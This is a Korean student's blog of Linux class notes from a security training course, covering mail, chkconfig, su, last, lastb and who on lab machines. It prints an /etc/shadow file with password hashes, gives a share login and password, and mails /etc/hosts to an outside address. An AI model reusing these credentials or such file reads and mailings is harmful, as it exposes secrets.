    만약 그렇다면 같은 파일을 두 개의 프로그램에서 고치지
    않도록 조심하시기 바랍니다.
    끝내거나 위험을 감수하시려면 계속하십시오.

(2) 파일을 고치다가 죽었었습니다.
    만약 그렇다면 ":recover" 혹은 "vim -r file1"
    을 사용하여 복구하십시오 (":help recovery" 참고).
    이미 복구하셨었다면 스왑파일 ".file1.swp"
    to avoid this message.

스왑 파일 ".file1.swp"이 이미 존재합니다!
[O]pen Read-Only, (E)dit anyway, (R)ecover, (D)elete it, (Q)uit, (A)bort:

[root@linux220 /var/tmp]# ls -al
합계 32K
drwxrwxrwt  2 root root 4.0K  4월 15 20:58 .
drwxr-xr-x 25 root root 4.0K  4월 12 03:40 ..
-rw-------  1 root root  12K  4월 15 20:56 .file1.swp //swap 파일이 남아있음
-rw-r--r--  1 root root    5  4월 15 20:55 file1
[root@linux220 /var/tmp]# cat .file1.swp
U3210#"! Utp�ad333322221111[root@linux220 /var/tmp]#


# cd /test
# vi filename
: set all (Last Line Mode)
: set number (: set nu)
: set nonumber (: set nonu)

: set tabstop=10 /* 탭간격 조정 */
: set nu  /* 라인 번호 달기 */
: set noshowmode /* 상태표시행에 모드를 표시하거나 표시하지 않거나를 설정 */
: set directory=/tmp /* 지정된 기능 변경 */


사용자 정의 $HOME/.vimrc 파일 생성
# vi ~/.vimrc (# vi ~/.exrc)

VIM 편집기 참고 파일(VIM 편집기 사용법 문서)
# vi /usr/share/vim/vim70/tutor/tutor.ko.ufs-8

VIM 편집기의 Plugin 모음들
http://saelly.tistory.com/296
http://ethanschoonover.com/solarized





# mail    /* 메일 확인 */
# mail user01   /* 특정 사용자로 메일 보내기, user01@example.com */
# mail -u user01  /* 특정 사용자의 mail 확인 */
# mail -s "Test Mail" user01 /* 제목을 명령어 입력시 포함하여 mail 보내기 */


[root@linux220 ~]# vi /etc/resolv.conf
[root@linux220 ~]# service sendmail restart
sm-client을 종료 중:                                       [  OK  ]
sendmail를 종료 중:                                        [  OK  ]
sendmail (을)를 시작 중:                                   [  OK  ]
sm-client를 시작 중:                                       [  OK  ]
[root@linux220 ~]# mail user01
Subject: test mail
user01 Hi~~
user01
user01
user01
user01
Cc: root  //참조, root 에게도 같이 보낸다
[root@linux220 ~]# mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/spool/mail/root": 5 messages 5 new
>N  1 logwatch@linux220.ex  Tue Apr 12 05:44  46/1774  "Logwatch for linux220.example.com (Linux)"
 N  2 logwatch@linux220.ex  Wed Apr 13 02:02 129/4156  "Logwatch for linux220.example.com (Linux)"
 N  3 logwatch@linux220.ex  Thu Apr 14 17:17  87/2969  "Logwatch for linux220.example.com (Linux)"
 N  4 logwatch@linux220.ex  Fri Apr 15 17:16 139/4464  "Logwatch for linux220.example.com (Linux)"
 N  5 root@linux220.exampl  Fri Apr 15 21:40  21/669   "test mail"
& 5
Message 5:
From root@linux220.example.com  Fri Apr 15 21:40:32 2016
Date: Fri, 15 Apr 2016 21:40:29 +0900
From: root <root@linux220.example.com>
To: user01@linux220.example.com
Subject: test mail
Cc: root@linux220.example.com

user01 Hi~~
user01
user01
user01
user01

& q
Saved 1 message in mbox
Held 4 messages in /var/spool/mail/root
You have mail in /var/spool/mail/root

user01 에서도 확인

[root@linux220 ~]# su - user01
[user01@linux220 ~]$ mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/spool/mail/user01": 1 message 1 new
>N  1 root@linux220.exampl  Fri Apr 15 21:40  21/669   "test mail"
& 1
Message 1:
From root@linux220.example.com  Fri Apr 15 21:40:32 2016
Date: Fri, 15 Apr 2016 21:40:29 +0900
From: root <root@linux220.example.com>
To: user01@linux220.example.com
Subject: test mail
Cc: root@linux220.example.com

user01 Hi~~
user01
user01
user01
user01

& q
Saved 1 message in mbox


사용자의 메일 확인(안읽은)
[root@linux220 ~]# mail -u user01
No mail for user01


제목을 포함하여 mail 전송하기
[root@linux220 ~]# mail -s "test mail2" user01
hello hell o hell o
hi hi hi hi hi h i h i h i
hell o hell o hell o
.
Cc:
[root@linux220 ~]# mail -u user01
Mail version 8.1 6/6/93.  Type ? for help.
"/var/mail/user01": 1 message 1 unread
>U  1 root@linux220.exampl  Fri Apr 15 21:44  19/723   "test mail2"
& 1
Message 1:
From root@linux220.example.com  Fri Apr 15 21:44:35 2016
Date: Fri, 15 Apr 2016 21:44:34 +0900
From: root <root@linux220.example.com>
To: user01@linux220.example.com
Subject: test mail2

hello hell o hell o
hi hi hi hi hi h i h i h i
hell o hell o hell o

& q
Saved 1 message in mbox




[root@linux220 ~]# mail -s "test mail3" root < /etc/hosts
[root@linux220 ~]# mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/spool/mail/root": 5 messages 1 new 5 unread
 U  1 logwatch@linux220.ex  Tue Apr 12 05:44  47/1784  "Logwatch for linux220.example.com (Linux)"
 U  2 logwatch@linux220.ex  Wed Apr 13 02:02 130/4166  "Logwatch for linux220.example.com (Linux)"
 U  3 logwatch@linux220.ex  Thu Apr 14 17:17  88/2979  "Logwatch for linux220.example.com (Linux)"
 U  4 logwatch@linux220.ex  Fri Apr 15 17:16 140/4474  "Logwatch for linux220.example.com (Linux)"
>N  5 root@linux220.exampl  Fri Apr 15 21:46  20/872   "test mail3"
& 5
Message 5:
From root@linux220.example.com  Fri Apr 15 21:46:50 2016
Date: Fri, 15 Apr 2016 21:46:45 +0900
From: root <root@linux220.example.com>
To: root@linux220.example.com
Subject: test mail3

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1               localhost.localdomain   localhost
::1                             localhost6.localdomain6 localhost6
172.16.6.220    linux220.example.com    linux220

& q
Saved 1 message in mbox
Held 4 messages in /var/spool/mail/root




[참고]
# mail -s "OK : linux200" admin@example.com < report.txt

외부 메일 전송
[root@linux220 ~]# mail -s "test mail(EX : linux)" dodogau@naver.com < /etc/hosts
Null message body; hope that's ok


(서비스 설정/확인 방법)
(GUI) # system-config-services (# serviceconf)
(TUI) # ntsysv (# setup)
(CLI) # chkconfig ntalk on

[root@linux220 ~]# chkconfig ntalk off
[root@linux220 ~]# chkconfig --list ntalk (# chkconfig --list | grep ntalk)
ntalk           해제
[root@linux220 ~]# chkconfig ntalk on
[root@linux220 ~]# chkconfig --list ntalk
ntalk           활성
[root@linux220 ~]# service xinetd restart
xinetd 를 정지 중:                                         [  OK  ]
xinetd (을)를 시작 중: 


갑자기 telnet localhost 안먹힘
[root@linux220 ~]# telnet localhost
localhost/telnet: Name or service not known

ntalk 예제실습을 못했음

hosts 파일을 날려먹어서 새로 작업함

telnet 서비스 2개가 활성화되면 충돌이 일어남
하나만 활성, 하나는 해제 시켜놔야함


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160419 리눅스 기초  (0) 2016.04.20
20160418 리눅스 기초  (0) 2016.04.19
20160414 리눅스 기초  (0) 2016.04.15
20160412 리눅스 기초  (0) 2016.04.13
20160411 리눅스 기초  (0) 2016.04.12
Posted by 22Hz
, |
3일차

==============안내사항==============

첫날 줬던 제본 점검표 필요할때 가져와야함
1주일전 휴가계 작성해서 휴가를 사용
식당 굿모닝 쓰면 저렴 데스크에서 위치 등 확인
검색했을때 멀었던거 같았음 다른 굿모닝이 있나?
다음주에 자리배정 한다고 함 랜덤.. 가나다 나는 중간쯤?
내일 4시에 자리배정 새로??
대기시간에 4강의실에서 대기해도 됨 더우면 에어컨
컴퓨터 사용해도 되는데 나갈때 본체전원 꼭 끌것

\\172.16.13.1
soldesk / soldesksecurity1.

==============복습내용==============

whatis CMD 쓰려면 index 가 있어야 하는데 없으면 오류가 남
# makewhatis 를 입력해서 생성해야함

# whatis passwd (# makewhatis)

시스템 정보 확인할때 uname CMD

redhat, centos 등의 문서사이트 참고 많이 할 것

data CMD, rdate CMD (remote date, 원격 서버의 시간)

cd CMD 상대경로, 절대경로

디렉토리 관리 명령어
ls CMD, mkdir CMD, rmdir CMD
ls -altr

파일 관리 명령어
touch CMD, cp CMD, mv CMD, rm CMD
cp -p, cp -a
[참고] debugfs CMD

파일 내용 확인 명령어
cat CMD, more CMD, head CMD, tail CMD
cat -n
[참고] strings CMD

==============강의내용==============

1. 기타 관리용 명령어
 wc CMD
  [참고] Data Gathering
  # ps -ef | wc -l
  # rpm -qa | wc -l
  # cat /etc/passwd | wc -l

  # ps -ef | grep httpd | wc -l
  # df -k / | tail -1 | awk '{print $5}'
  # cat /var/log/messages | grep 'START: telnet' messages | grep 'Apr 14' | wc -l

 su CMD
  # su user01
  # su - user01
 id CMD
 groups CMD

 last CMD (/var/log/wtmp)
  # cd /var/log ; ls
  wtmp wtmp.0 wtmp.1 wtmp.2 wtmp.3 //1주일마다 하나씩
  # last -f wtmp.0

 lastlog CMD (/var/log/lastlog)
 lastb CMD (/var/log/btmp)
  [참고] watch CMD (# watch lastb)

 who CMD
 w CMD
  # while true
  do
   CMD
   sleep 2 //2초 딜레이
  done


==============실습내용==============

wc 명령어

[root@linux205 ~]# wc /etc/passwd
  42   61 1945 /etc/passwd
line count / word count / character count

[root@linux205 ~]# wc -l /etc/passwd
42 /etc/passwd
[root@linux205 ~]# wc -w /etc/passwd
61 /etc/passwd
[root@linux205 ~]# wc -c /etc/passwd
1945 /etc/passwd

실행중인 프로세스의 수 확인
# ps -ef | wc -l

설치된 패키지 수 확인
rpm -qa | wc -l

[root@linux205 ~]# service httpd
사용법: httpd {start|stop|restart|condrestart|reload|status|f
[root@linux205 ~]# service httpd start
httpd (을)를 시작 중:                                      [  OK  ]

[root@linux205 ~]# ps -ef | grep httpd | wc -l > apache.log
[root@linux205 ~]# cat apache.log
10

[root@linux205 ~]# df -k / | tail -1
/dev/sda1             37114672   3185492  32013432  10% /
[root@linux205 ~]# df -k / | tail -1 | awk '{print $5}'
10%
[root@linux205 ~]# df -k / | tail -1 | awk '{print $5}' > df.count
[root@linux205 ~]# cat df.count
10%

데이터 수집 Data Gathering

[root@linux205 /var/log]# grep 'START: telnet' messages
Apr 12 21:56:35 linux205 xinetd[19531]: START: telnet pid=19534 from=127.0.0.1
Apr 12 21:57:15 linux205 xinetd[19531]: START: telnet pid=19562 from=127.0.0.1
Apr 12 21:59:16 linux205 xinetd[19531]: START: telnet pid=19567 from=127.0.0.1
Apr 12 22:02:35 linux205 xinetd[19531]: START: telnet pid=19667 from=127.0.0.1
Apr 14 16:45:52 linux205 xinetd[3971]: START: telnet pid=4844 from=127.0.0.1
[root@linux205 /var/log]# grep 'START: telnet' messages | wc -l
5
[root@linux205 /var/log]# grep 'START: telnet' messages | grep 'Apr 14'
Apr 14 16:45:52 linux205 xinetd[3971]: START: telnet pid=4844 from=127.0.0.1

su CMD 사용저 전환 Switching User
일반사용자/user01 -> 다른 일반사용자/user02
일반사용자/user01 -> 관리자/root
관리자/root -> 일반사용자/user01

# su   [fedora]
[root@linux205 ~]# cd /etc
[root@linux205 /etc]# su fedora
[fedora@linux205 /etc]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[fedora@linux205 /etc]$ pwd
/etc
[fedora@linux205 /etc]$ echo $PATH
/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin

# su - [fedora]
[root@linux205 ~]# cd /etc
[root@linux205 /etc]# su - fedora
[fedora@linux205 ~]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[fedora@linux205 ~]$ pwd
/home/fedora
[fedora@linux205 ~]$ echo $PATH
/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/fedora/bin

[root@linux205 ~]# ssh fedora@localhost
fedora@localhost's password:
Last login: Tue Apr 12 21:56:43 2016 from linux205
[fedora@linux205 ~]$ cat /etc/shadow
cat: /etc/shadow: 허가 거부됨
[fedora@linux205 ~]$ ls -l /etc/shadow
-r-------- 1 root root 1275  4월 12 22:02 /etc/shadow
[fedora@linux205 ~]$ su - // su - root 와 동일
암호:
[root@linux205 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@linux205 ~]# cat /etc/shadow
root:$1$UKMNc7Ge$/gJRha8DberQjJGEThyKh1:16903:0:99999:7:::
bin:*:16902:0:99999:7:::
daemon:*:16902:0:99999:7:::
adm:*:16902:0:99999:7:::
lp:*:16902:0:99999:7:::
sync:*:16902:0:99999:7:::
shutdown:*:16902:0:99999:7:::
halt:*:16902:0:99999:7:::
mail:*:16902:0:99999:7:::
news:*:16902:0:99999:7:::
uucp:*:16902:0:99999:7:::
operator:*:16902:0:99999:7:::
games:*:16902:0:99999:7:::
gopher:*:16902:0:99999:7:::
ftp:*:16902:0:99999:7:::
nobody:*:16902:0:99999:7:::
distcache:!!:16902:0:99999:7:::
nscd:!!:16902:0:99999:7:::
vcsa:!!:16902:0:99999:7:::
apache:!!:16902:0:99999:7:::
rpc:!!:16902:0:99999:7:::
mailnull:!!:16902:0:99999:7:::
smmsp:!!:16902:0:99999:7:::
webalizer:!!:16902:0:99999:7:::
dovecot:!!:16902:0:99999:7:::
squid:!!:16902:0:99999:7:::
pcap:!!:16902:0:99999:7:::
ntp:!!:16902:0:99999:7:::
dbus:!!:16902:0:99999:7:::
avahi:!!:16902:0:99999:7:::
rpcuser:!!:16902:0:99999:7:::
nfsnobody:!!:16902:0:99999:7:::
named:!!:16902:0:99999:7:::
hsqldb:!!:16902:0:99999:7:::
sshd:!!:16902:0:99999:7:::
haldaemon:!!:16902:0:99999:7:::
avahi-autoipd:!!:16902:0:99999:7:::
xfs:!!:16902:0:99999:7:::
gdm:!!:16902:0:99999:7:::
sabayon:!!:16902:0:99999:7:::
fedora:$1$KLkGXiYJ$P.J2gxakySlsQqOdh23qM1:16903:0:99999:7:::
user01:$1$g7UnLTde$.Wa9v1IovkVxaWkzDPUfW0:16903:0:99999:7:::

[root@linux205 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

[root@linux205 ~]# groups
root bin daemon sys adm disk wheel
[root@linux205 ~]# groups fedora
fedora : fedora
[root@linux205 ~]# groups fedora root
fedora : fedora
root : root bin daemon sys adm disk wheel

last CMD : last, lastb 사용자들의 마지막 로그인한 기록 목록을 보여준다
사용자의 로그인, 로그아웃 시간을 출력하는 명령어

[root@linux205 ~]# tty
/dev/pts/2
[root@linux205 ~]# last
fedora   pts/3        linux205.example Thu Apr 14 17:21   still logged in  
fedora   pts/3        linux205.example Thu Apr 14 17:20 - 17:21  (00:01)   
root     pts/2        :0.0             Thu Apr 14 17:20   still logged in  
root     pts/1        :0.0             Thu Apr 14 17:15   still logged in  
fedora   pts/2        linux205.example Thu Apr 14 17:13 - 17:15  (00:02)   
root     pts/1        :0.0             Thu Apr 14 17:12 - 17:15  (00:02)   
root     pts/2        :0.0             Thu Apr 14 16:46 - 17:12  (00:26)   
root     pts/3        linux205         Thu Apr 14 16:45 - 16:46  (00:00)   
root     pts/2        :0.0             Thu Apr 14 16:45 - 16:46  (00:00)   
root     pts/1        :0.0             Thu Apr 14 16:12 - 17:12  (01:00)   
root     :0                            Thu Apr 14 16:11   still logged in  
root     :0                            Thu Apr 14 16:11 - 16:11  (00:00)   
reboot   system boot  2.6.18-194.el5   Thu Apr 14 16:10          (01:11)   
root     pts/3        :0.0             Tue Apr 12 22:10 - down   (00:11)   
root     pts/2        :0.0             Tue Apr 12 22:10 - down   (00:12)   
root     pts/1        :0.0             Tue Apr 12 22:10 - down   (00:12)   
user01   pts/3        linux205         Tue Apr 12 22:02 - 22:03  (00:00)   
root     pts/2        :0.0             Tue Apr 12 22:01 - 22:09  (00:08)   
root     pts/3        :0.0             Tue Apr 12 22:01 - 22:01  (00:00)   
root     pts/3        :0.0             Tue Apr 12 22:01 - 22:01  (00:00)   
root     pts/2        :0.0             Tue Apr 12 22:01 - 22:01  (00:00)   
root     pts/2        linux205         Tue Apr 12 21:59 - 21:59  (00:00)   
fedora   pts/2        linux205         Tue Apr 12 21:56 - 21:56  (00:00)   
root     pts/1        :0.0             Tue Apr 12 21:33 - 22:10  (00:36)   
root     pts/1        :0.0             Tue Apr 12 20:16 - 21:33  (01:17)   
root     pts/1        :0.0             Tue Apr 12 18:52 - 20:16  (01:24)   
root     pts/1        :0.0             Tue Apr 12 18:14 - 18:52  (00:37)   
fedora   pts/2        linux205.example Tue Apr 12 17:38 - 17:39  (00:00)   
root     pts/1        :0.0             Tue Apr 12 17:17 - 18:14  (00:57)   
root     pts/1        :0.0             Sun Aug 16 13:03 - 17:17 (2431+04:13)
root     pts/1        :0.0             Tue Apr 12 17:00 - 13:03 (-2431+-3:-5
root     pts/2        :0.0             Tue Apr 12 16:55 - 16:58  (00:02)   
root     pts/1        :0.0             Tue Apr 12 16:48 - 16:58  (00:10)   
root     :0                            Tue Apr 12 16:48 - down   (05:34)   
root     :0                            Tue Apr 12 16:48 - 16:48  (00:00)   
reboot   system boot  2.6.18-194.el5   Tue Apr 12 16:47          (05:35)   
root     pts/1        :0.0             Tue Apr 12 16:34 - down   (00:11)   
fedora   pts/2        linux205.example Tue Apr 12 16:32 - 16:34  (00:01)   
root     pts/1        :0.0             Tue Apr 12 16:22 - 16:34  (00:12)   
root     pts/1        :0.0             Tue Apr 12 16:20 - 16:22  (00:02)   
root     :0                            Tue Apr 12 16:19 - down   (00:26)   
root     :0                            Tue Apr 12 16:19 - 16:19  (00:00)   
reboot   system boot  2.6.18-194.el5   Tue Apr 12 16:19          (00:26)   
root     :0                            Tue Apr 12 16:11 - down   (00:06)   
root     :0                            Tue Apr 12 16:11 - 16:11  (00:00)   
reboot   system boot  2.6.18-194.el5   Tue Apr 12 16:10          (00:06)   
root     pts/0        :0.0             Mon Apr 11 22:14 - down   (00:04)   
root     pts/0        :0.0             Mon Apr 11 22:14 - 22:14  (00:00)   
root     pts/0        :0.0             Mon Apr 11 22:08 - 22:14  (00:05)   
root     :0                            Mon Apr 11 22:04 - down   (00:13)   
root     :0                            Mon Apr 11 22:04 - 22:04  (00:00)   
reboot   system boot  2.6.18-194.el5   Mon Apr 11 22:03          (00:14)   
root     pts/1        :0.0             Mon Apr 11 21:49 - down   (00:09)   
root     :0                            Mon Apr 11 21:42 - down   (00:16)   
root     :0                            Mon Apr 11 21:42 - 21:42  (00:00)   
reboot   system boot  2.6.18-194.el5   Mon Apr 11 21:42          (00:16)   
root     pts/1        :0.0             Mon Apr 11 21:40 - down   (00:00)   
root     :0                            Mon Apr 11 21:39 - down   (00:01)   
root     :0                            Mon Apr 11 21:39 - 21:39  (00:00)   
root     tty1                          Mon Apr 11 21:38 - down   (00:02)   
root     pts/1        :0.0             Mon Apr 11 20:51 - 21:38  (00:46)   
root     :0                            Mon Apr 11 20:51 - 21:38  (00:47)   
root     :0                            Mon Apr 11 20:51 - 20:51  (00:00)   
reboot   system boot  2.6.18-194.el5   Mon Apr 11 20:50          (00:50)   
root     pts/2        :0.0             Mon Apr 11 20:19 - 20:19  (00:00)   
root     pts/2        :0.0             Mon Apr 11 20:16 - 20:16  (00:00)   
root     pts/2        :0.0             Mon Apr 11 20:16 - 20:16  (00:00)   
root     pts/1        :0.0             Tue Apr 12 05:02 - down   (-8:-13)  
root     :0                            Tue Apr 12 05:02 - down   (-8:-13)  
root     :0                            Tue Apr 12 05:02 - 05:02  (00:00)   
root     pts/1        :0.0             Tue Apr 12 04:46 - 05:02  (00:16)   
root     :0                            Tue Apr 12 04:45 - 05:02  (00:16)   
root     :0                            Tue Apr 12 04:45 - 04:45  (00:00)   
reboot   system boot  2.6.18-194.el5   Tue Apr 12 04:45          (-7:-56)  
fedora   :0                            Tue Apr 12 04:41 - crash  (00:04)   
fedora   :0                            Tue Apr 12 04:41 - 04:41  (00:00)   
reboot   system boot  2.6.18-194.el5   Tue Apr 12 04:39          (-7:-50)  
reboot   system boot  2.6.18-194.el5   Tue Apr 12 04:32          (00:05)   

wtmp begins Tue Apr 12 04:32:01 2016
[root@linux205 ~]#
[root@linux205 ~]# last -5
fedora   pts/3        linux205.example Thu Apr 14 17:21   still logged in  
fedora   pts/3        linux205.example Thu Apr 14 17:20 - 17:21  (00:01)   
root     pts/2        :0.0             Thu Apr 14 17:20   still logged in  
root     pts/1        :0.0             Thu Apr 14 17:15   still logged in  
fedora   pts/2        linux205.example Thu Apr 14 17:13 - 17:15  (00:02)   

wtmp begins Tue Apr 12 04:32:01 2016
[root@linux205 ~]# last | head -5
fedora   pts/3        linux205.example Thu Apr 14 17:21   still logged in  
fedora   pts/3        linux205.example Thu Apr 14 17:20 - 17:21  (00:01)   
root     pts/2        :0.0             Thu Apr 14 17:20   still logged in  
root     pts/1        :0.0             Thu Apr 14 17:15   still logged in  
fedora   pts/2        linux205.example Thu Apr 14 17:13 - 17:15  (00:02) 

[root@linux205 ~]# file /var/log/wtmp
/var/log/wtmp: data
[root@linux205 ~]# file /etc/passwd
/etc/passwd: ASCII text

last 명령어의 사용 예
개발자 요청내용 어제 파일(file.log)을 삭제한 사용자를 검색해 달라
정보1 어제 파일이 지워졌다
 # last | grep 'Jun 8'
정보2 지워진 파일의 이름 : file.log
 # cat ~/.bash_history
 # cat ~/.bash_history | grep 'file.log' | grep rm

[root@linux205 ~]# cd /test
[root@linux205 /test]# chmod 777 /test
[root@linux205 /test]# touch file.log
[root@linux205 /test]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux205.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (3)

login: fedora
Password:
Last login: Thu Apr 14 17:21:35 from linux205.example.com
[fedora@linux205 ~]$ rm -rf /test/file.log
[fedora@linux205 ~]$ ls /test
[fedora@linux205 ~]$ exit
logout

[root@linux205 /test]# last | grep 'Apr 14'
fedora   pts/3        linux205         Thu Apr 14 17:33 - 17:34  (00:00)   
root     pts/2        :0.0             Thu Apr 14 17:33   still logged in  
root     pts/1        :0.0             Thu Apr 14 17:32   still logged in  
fedora   pts/3        linux205.example Thu Apr 14 17:21 - 17:32  (00:11)   
fedora   pts/3        linux205.example Thu Apr 14 17:20 - 17:21  (00:01)   
root     pts/2        :0.0             Thu Apr 14 17:20 - 17:32  (00:12)   
root     pts/1        :0.0             Thu Apr 14 17:15 - 17:32  (00:17)   
fedora   pts/2        linux205.example Thu Apr 14 17:13 - 17:15  (00:02)   
root     pts/1        :0.0             Thu Apr 14 17:12 - 17:15  (00:02)   
root     pts/2        :0.0             Thu Apr 14 16:46 - 17:12  (00:26)   
root     pts/3        linux205         Thu Apr 14 16:45 - 16:46  (00:00)   
root     pts/2        :0.0             Thu Apr 14 16:45 - 16:46  (00:00)   
root     pts/1        :0.0             Thu Apr 14 16:12 - 17:12  (01:00)   
root     :0                            Thu Apr 14 16:11   still logged in  
root     :0                            Thu Apr 14 16:11 - 16:11  (00:00)   
reboot   system boot  2.6.18-194.el5   Thu Apr 14 16:10          (01:24)   

[root@linux205 /test]# egrep -l "file.log" /home/*/.bash_history
/home/fedora/.bash_history
[root@linux205 /test]# egrep file.log /home/fedora/.bash_history
rm -rf /test/file.log

사용자 추적 완료!!

lastlog 가장 마지막에 로그인한 정보
[root@linux205 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux205.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (2)

login: root
Password:
Last login: Thu Apr 14 16:45:57 from linux205
You have new mail.
[root@linux205 ~]# date
2016. 04. 14. (목) 17:41:40 KST

[root@linux205 ~]# lastlog
사용자명         포트     ~로부터          최근정보
root             pts/2    linux205         목  4월 14 17:41:26 +0900 2016
bin                                        **한번도 로그인한 적이 없습니다**
daemon                                     **한번도 로그인한 적이 없습니다**
adm                                        **한번도 로그인한 적이 없습니다**
lp                                         **한번도 로그인한 적이 없습니다**
sync                                       **한번도 로그인한 적이 없습니다**
shutdown                                   **한번도 로그인한 적이 없습니다**
halt                                       **한번도 로그인한 적이 없습니다**
mail                                       **한번도 로그인한 적이 없습니다**
news                                       **한번도 로그인한 적이 없습니다**
uucp                                       **한번도 로그인한 적이 없습니다**
operator                                   **한번도 로그인한 적이 없습니다**
games                                      **한번도 로그인한 적이 없습니다**
gopher                                     **한번도 로그인한 적이 없습니다**
ftp                                        **한번도 로그인한 적이 없습니다**
nobody                                     **한번도 로그인한 적이 없습니다**
distcache                                  **한번도 로그인한 적이 없습니다**
nscd                                       **한번도 로그인한 적이 없습니다**
vcsa                                       **한번도 로그인한 적이 없습니다**
apache                                     **한번도 로그인한 적이 없습니다**
rpc                                        **한번도 로그인한 적이 없습니다**
mailnull                                   **한번도 로그인한 적이 없습니다**
smmsp                                      **한번도 로그인한 적이 없습니다**
webalizer                                  **한번도 로그인한 적이 없습니다**
dovecot                                    **한번도 로그인한 적이 없습니다**
squid                                      **한번도 로그인한 적이 없습니다**
pcap                                       **한번도 로그인한 적이 없습니다**
ntp                                        **한번도 로그인한 적이 없습니다**
dbus                                       **한번도 로그인한 적이 없습니다**
avahi                                      **한번도 로그인한 적이 없습니다**
rpcuser                                    **한번도 로그인한 적이 없습니다**
named                                      **한번도 로그인한 적이 없습니다**
hsqldb                                     **한번도 로그인한 적이 없습니다**
sshd                                       **한번도 로그인한 적이 없습니다**
haldaemon                                  **한번도 로그인한 적이 없습니다**
avahi-autoipd                              **한번도 로그인한 적이 없습니다**
xfs                                        **한번도 로그인한 적이 없습니다**
gdm                                        **한번도 로그인한 적이 없습니다**
sabayon                                    **한번도 로그인한 적이 없습니다**
fedora           pts/3    linux205         목  4월 14 17:33:41 +0900 2016
user01           pts/3    linux205         화  4월 12 22:02:40 +0900 2016

lastb 접속실패로그를 출력해준다 /var/log/btmp

(전제조건) user01 사용자가 있어야 한다
[root@linux205 ~]# cat /etc/passwd | grep user01
user01:x:501:501::/home/user01:/bin/bash

없으면 # useradd user01, # passwd user01

[root@linux205 ~]# ssh user01@localhost
user01@localhost's password:
Permission denied, please try again.
user01@localhost's password:
Permission denied, please try again.
user01@localhost's password:
Permission denied (publickey,gssapi-with-mic,password).
[root@linux205 ~]# lastb
user01   ssh:notty    linux205.example Thu Apr 14 17:45 - 17:45  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)  

watch lastb 예제 사진파일1

[root@linux205 ~]# lastb -5
fedora   ssh:notty    linux205.example Thu Apr 14 17:46 - 17:46  (00:00)   
fedora   ssh:notty    linux205.example Thu Apr 14 17:46 - 17:46  (00:00)   
fedora   ssh:notty    linux205.example Thu Apr 14 17:46 - 17:46  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:45 - 17:45  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)   

btmp begins Thu Apr 14 17:44:41 2016
[root@linux205 ~]# lastb - grep user01
user01   ssh:notty    linux205.example Thu Apr 14 17:45 - 17:45  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)   
user01   ssh:notty    linux205.example Thu Apr 14 17:44 - 17:44  (00:00)   

btmp begins Thu Apr 14 17:44:41 2016
[root@linux205 ~]# lastb | grep user01 | wc -l
5

who 명령어, w 명령어
who : 현재 서버에 로그인 한 사용자 확인
/var/run/utmp 의 내용을 보여줌

[root@linux205 ~]# who
root     :0           2016-04-14 16:11
root     pts/1        2016-04-14 17:38 (:0.0)
fedora   pts/2        2016-04-14 18:18 (linux205)
root     pts/3        2016-04-14 18:18 (:0.0)
[root@linux205 ~]# who
root     :0           2016-04-14 16:11
root     pts/1        2016-04-14 17:38 (:0.0)
root     pts/3        2016-04-14 18:18 (:0.0)

현재 로그인되어있는 사용자들 확인

[root@linux205 ~]# ssh 172.16.9.252
ssh_exchange_identification: Connection closed by remote host
[root@linux205 ~]# ssh 172.16.9.252
The authenticity of host '172.16.9.252 (172.16.9.252)' can't be established.
RSA key fingerprint is e2:f0:f8:a2:47:3b:b4:7c:ae:65:38:0e:31:bf:1f:84.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.9.252' (RSA) to the list of known hosts.
root@172.16.9.252's password:
Last login: Thu Apr 14 18:21:16 2016 from 172.16.6.204
[linux252@~]#  id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[linux252@~]#  tty
/dev/pts/17
[linux252@~]#  who
root     :0           2016-04-07 18:43
root     pts/1        2016-04-07 18:44 (:0.0)
root     pts/8        2016-04-14 18:20 (172.16.6.227)
root     pts/10       2016-04-14 18:21 (172.16.6.201)
root     pts/2        2016-04-14 18:20 (172.16.6.249)
root     pts/3        2016-04-14 18:20 (172.16.6.203)
root     pts/4        2016-04-14 18:20 (172.16.6.211)
root     pts/12       2016-04-14 18:21 (172.16.6.223)
root     pts/7        2016-04-14 18:20 (172.16.6.225)
root     pts/5        2016-04-14 18:20 (172.16.6.228)
root     pts/6        2016-04-14 18:20 (172.16.6.202)
root     pts/9        2016-04-14 18:20 (172.16.6.212)
root     pts/11       2016-04-14 18:21 (172.16.9.238)
root     pts/13       2016-04-14 18:21 (172.16.6.221)
root     pts/14       2016-04-14 18:21 (172.16.6.213)
root     pts/15       2016-04-14 18:21 (172.16.6.215)
